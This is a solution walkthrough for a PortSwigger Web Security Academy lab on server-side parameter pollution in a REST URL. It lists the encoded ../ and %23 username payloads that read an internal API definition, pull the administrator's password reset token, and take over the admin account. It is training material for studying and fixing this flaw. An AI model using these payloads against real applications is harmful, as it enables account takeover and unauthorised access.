API testing
PortSwigger Web Security Academy · Expert
- #API

Exploiting Server-Side Parameter Pollution in a REST URL
The vulnerability
The server puts the username from the password reset form into the path of an internal API request. With ../ and an encoded # you can change that path, read the API definition and then ask for the administrator’s reset token.
Fix: Encode user input before it goes into a URL, and only accept valid usernames.
The lab
To solve the lab, log in as the administrator and delete carlos.
Solution
1. Start Password Reset for Administrator: On the application, use the “Forgot Password?” function and enter administrator as the username.
2. Look at Forgot Password Functionality: In Burp Suite’s Proxy → HTTP history, look at the POST /forgot-password request and the GET /static/js/forgotPassword.js request. Review forgotPassword.js for parameters related to password resets, noting resetToken and passwordResetToken.
3. Send POST /forgot-password to Repeater: Right-click the POST /forgot-password request and Send to Repeater. Send it once to check that it works.
4. Test for Path Manipulation with # and ?:
- Add a URL-encoded
#(%23) to the username (e.g.,username=administrator%23) and send. AnHTTP/2 404 Not Foundwith "Invalid route" suggests truncation. - Replace
%23with a URL-encoded?(%3f) (e.g.,username=administrator%3f) and send. AnHTTP/2 404 Not Foundwith "Invalid route" confirms similar behavior.
5. Test for Path Traversal with Relative Paths:
- Add a
./prefix and a URL-encoded#(e.g.,username=./administrator%23). AnHTTP/2 200 OKindicates processing. - Test for traversal by adding
../(e.g.,username=../administrator). AnHTTP/2 404 Not Foundwith "Invalid route" suggests initial blocks. - Add more
../to traverse further out (e.g.,username=../../../../administrator%23). AnHTTP/2 500 Internal Server Errorwith "Not Found" indicates successful traversal out of the immediate API path.
6. Discover API Documentation via Traversal: Try to access openapi.json using path traversal (e.g., username=../../../../openapi.json%23). An HTTP/2 500 Internal Server Error response will contain the openapi.json content, revealing a key API endpoint: /api/internal/v1/users/{username}/field/{field}.
{
"error": "Unexpected response from API server:\n
{\n
\"openapi\": \"3.0.0\",\n
\"info\": {\n
\"title\": \"User API\",\n
\"version\": \"2.0.0\"\n
},\n
\"paths\":
{\n
\"/api/internal/v1/users/{username}/field/{field}\":
{\n
\"get\": {\n
\"tags\": [\n
\"users\"\n
],\n
\"summary\": \"Find user by username\",\n
\"description\": \"API Version 1\",\n
\"parameters\": [\n
{\n
\"name\": \"username\",\n
\"in\": \"path\",\n
\"description\": \"Username\",\n
\"required\": true,\n
\"schema\": {\n
..."
}
7. Test field Parameter with administrator: Modify the Repeater request to use the found API endpoint format (e.g., change POST /forgot-password to GET /api/internal/v1/users/administrator/field/foo%23). Send the request. An HTTP/2 400 Bad Request with "This version of API only supports the email field for security reasons" confirms the endpoint's structure and valid field values.
8. Confirm email Field: Replace foo with email in the URL (e.g., GET /api/internal/v1/users/administrator/field/email%23). Send. An HTTP/2 200 OK confirms email is a valid field for data retrieval.
9. Exploit for Password Reset Token: Based on your earlier note from forgotPassword.js, try the passwordResetToken field. Replace email with passwordResetToken in the URL (e.g., GET /api/internal/v1/users/administrator/field/passwordResetToken%23). Send the request. You will receive a HTTP/2 200 OK response containing the administrator's password reset token:
{
"type": "passwordResetToken",
"result": "5n2locb28oj47qowavfjvmtsjb3b5zo0"
}
10. Reset Admin Password and Solve Lab: Copy the result value (the password reset token). In your web browser, go to the password reset URL (e.g., https://[LAB_ID].web-security-academy.net/forgot-password?passwordResetToken=YOUR_RESET_TOKEN). This will allow you to set a new password for the administrator account. Log in as administrator with the new password, access the admin panel, and delete the user carlos to solve the lab.